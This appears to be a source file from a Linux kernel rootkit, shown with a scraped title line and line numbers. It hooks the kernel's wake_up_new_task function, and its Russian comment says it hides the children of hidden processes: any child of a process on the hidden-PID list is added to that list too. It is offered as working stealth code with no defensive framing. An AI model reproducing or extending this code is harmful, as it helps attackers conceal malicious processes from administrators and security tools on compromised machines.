include linux kernel include fork прячем детей скрытых процессов DEFIN

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <linux/kernel.h>
#include "fork.h"
// прячем детей скрытых процессов
DEFINE_HOOK_C(void, wake_up_new_task, (struct task_struct *p),
{
if (unlikely(!current->real_parent)) {
return;
}
rcu_read_lock();
pid_t ppid = task_tgid_vnr(current->real_parent);
rcu_read_unlock();
pid_t pid = task_tgid_vnr(p);
if (find_pid(ppid) == ppid && find_pid(pid) < 0) {
add_pid(pid);
}
});